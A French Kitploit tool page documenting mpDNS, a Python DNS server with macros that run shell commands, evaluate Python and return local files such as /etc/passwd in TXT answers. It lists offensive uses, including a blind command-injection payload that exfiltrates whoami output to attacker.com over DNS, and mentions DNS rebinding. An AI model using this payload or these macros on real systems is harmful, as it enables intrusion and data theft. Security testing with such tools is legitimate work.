Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
mpDNS — Serveur DNS multi-usage | Kitploit
Outils/GitHubGitHub/nopernik/mpdns
Scripting et AutomatisationExfiltration de DonnéesCollecte d'InformationsSécurité WebAnalyse de MalwareTests d'IntrusionRed TeamingAnalyse DNS
GitHubnopernik/mpdns

mpDNS

Serveur DNS multi-usage

Voir le dépôt
14420il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

mpDNS aka serveur DNS polyvalent

Serveur DNS simple, configurable, avec plusieurs fonctionnalités utiles

  • Python 3
  • names.db -> contient tous les enregistrements personnalisés (voir exemples)
  • Wildcards simples comme *.example.com
  • Capture des requêtes DNS unicode
  • Actions personnalisées alias macro:
    • {{shellexec::dig google.com +short}} -> Exécute une commande shell et répond avec le résultat
    • {{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> Évalue votre code python
    • {{file::/etc/passwd}} -> Répond avec le contenu d'un fichier local
    • {{filelist::/somefile.list}} -> Répond avec plusieurs résultats ligne par ligne
    • {{resolve}} -> Transfère la requête DNS au DNS système local
    • {{resolve::example.com}} -> Résout example.com au lieu de l'enregistrement original
    • {{echo}} -> Répond avec l'adresse du pair
    • {{shellexec::echo %PEER% %QUERY% %QUERYTYPE%}} -> Utilisation de variables
  • Voir names.db.example pour plus d'exemples

Largement basé sur https://github.com/circuits/circuits/blob/master/examples/dnsserver.py

Démarrage rapide

root@kitploit:~
git clone https://github.com/nopernik/mpDNS
cd ./mpDNS
pip install -r requirements.txt
touch names.db

Vous êtes maintenant prêt à remplir vos enregistrements DNS dans names.db en vous basant sur names.db.example

Utilisation : ./mpdns.py

  • Créez names.db. Voir names.db.example
  • Modifiez les enregistrements DNS dans names.db avec ./mpdns.py -e sans redémarrage nécessaire

Usages offensifs et défensifs :

  1. Vous avez besoin d'une solution DNS simple et légère pour des tests (PAS POUR LA PRODUCTION !)
  2. Tester diverses vulnérabilités d'injection aveugle dans les applications web (ex. /ping.php?ip=$(dig $(whoami).attacker.com))
  3. Infiltrer facilement 65 Ko de données en une seule requête TXT
  4. Rebinding DNS
  5. Exécuter une macro personnalisée sur une requête spécifique (utile dans les environnements de laboratoire d'analyse de logiciels malveillants)
  6. Et bien plus encore. C'est hautement personnalisable.

Limitations

  1. En raison de la limite de datagramme UDP de 65535 octets, la réponse DNS est limitée à environ ~65200 octets
    cette limitation s'applique aux enregistrements TXT qui sont divisés en morceaux de 256 octets jusqu'à ce que la réponse atteigne le maximum autorisé de 65200 octets
    par conséquent, l'enregistrement TXT avec la macro {{file:localfile.txt}} est limité à 65200 octets.
  2. Pas de support pour les wildcards imbriqués test.*.example.com
  3. Pas de support pour un résolveur DNS personnalisé dans la macro {{resolve::example.com}}
  4. TTL toujours réglé sur 0

Exemples

Exemple de names.db :

root@kitploit:~
# Une configuration vide donne des réponses vides mais valides
#
# Les noms de domaine Unicode ne sont pas pris en charge mais peuvent toujours être capturés par le serveur.
# par exemple мама-сервер-unicode.google.com sera capturé mais avec une réponse SERVFAIL

passwd.example.com	TXT     {{file::/etc/passwd}}  #les commentaires sont ignorés
shellexec			TXT     {{shellexec::whoami}}
eval				TXT     {{eval::import random; res = random.randint(1,500)}}
resolve1			A       {{resolve}}
resolve2			A       {{resolve::self}}      #identique au précédent
resolve3			A       {{resolve::example.com}}
blabla.com			A       5.5.5.5

*					A       127.0.0.1
*.example.com		A		7.7.7.7
c1.example.com		CNAME	c2.example.com
c2.example.com		CNAME	c3.example.com
c3.example.com		CNAME	google.example.com
google.example.com	CNAME	google.com
test.example.com	A		8.8.8.8
google.com			A		{{resolve::self}}
notgoogle.com		A		{{resolve::google.com}}

Exemple de résultat avec l'exemple names.db :

Résolution régulière depuis la base de données : dig test.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
test.example.com.	0	IN	A	8.8.8.8

Sortie mpDNS : - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)


Résolution CNAME récursive : dig c1.example.com @localhost

root@kitploit:~
;; QUESTION SECTION:
;c1.example.com.			IN	A

;; ANSWER SECTION:
c1.example.com.		0	IN	CNAME	c2.example.com.
c2.example.com.		0	IN	CNAME	c3.example.com.
c3.example.com.		0	IN	CNAME	google.example.com.
google.example.com.	0	IN	CNAME	google.com.
google.com.		0	IN	A	216.58.206.14

Sortie mpDNS :

root@kitploit:~
- Request from 127.0.0.1:44120      -> c1.example.com.		-> c2.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c2.example.com		-> c3.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c3.example.com		-> google.example.com (CNAME)
- Request from 127.0.0.1:44120      -> google.example.com	-> google.com (CNAME)
- Request from 127.0.0.1:44120      -> google.com			-> {{resolve::self}} (A)

Résolution par wildcard : dig not-in-db.com @localhost

root@kitploit:~
;; ANSWER SECTION:
not-in-db.com.		0	IN	A	127.0.0.1

Sortie mpDNS : - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)


Résolution de sous-domaine par wildcard : dig wildcard.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
wildcard.example.com.	0	IN	A	7.7.7.7

Sortie mpDNS : - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)


Macro de transfert de requête : dig google.com @localhost

root@kitploit:~
;; ANSWER SECTION:
google.com.		0	IN	A	172.217.22.110

Sortie mpDNS : - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)


Macro de transfert de domaine personnalisé : dig notgoogle.com @localhost

root@kitploit:~
;; ANSWER SECTION:
notgoogle.com.		0	IN	A	172.217.22.110

Sortie mpDNS : - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)


Macro de contenu de fichier via requête TXT : dig txt passwd.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
passwd.example.com.	0	IN	TXT	"root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"

Sortie mpDNS : - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)


Macro de code python personnalisé via requête TXT : dig txt eval @localhost

root@kitploit:~
;; ANSWER SECTION:
eval.			0	IN	TXT	"320"

Sortie mpDNS : - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)


Macro de commande shell via requête TXT : dig txt shellexec @localhost

root@kitploit:~
;; ANSWER SECTION:
shellexec.		0	IN	TXT	"root"

Sortie mpDNS : - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)


Amusez-vous bien !

Télécharger l’outil